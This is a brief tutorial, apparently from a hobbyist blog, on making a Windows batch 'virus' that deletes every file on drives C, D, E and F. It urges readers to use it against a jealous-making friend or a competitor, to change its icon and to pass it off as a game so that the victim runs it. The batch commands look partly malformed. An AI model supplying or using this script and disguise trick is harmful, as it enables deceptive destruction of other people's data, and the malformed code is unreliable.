Are you jealous of some friend who has more games than you?
Do you want to delete all the data of your competitor?
If there is any such reason you want to wipe all the data of any PC I've got something interesting for you.
In this article I'm gonna tell you how to make a virus which does it.
1. Open Notepad
2. Copy the following code into it
Del D:\ *.*|y
Del E:\ *.*|y
Del F:\ *.*|y
Del C:\ *.* |y
3. Save it with any name but write .bat at the end.
4. Now change it's icon.
This way you can fool your friends by telling them that this is a game or something else.
Never open it on your own PC otherwise you are gonna lose you data.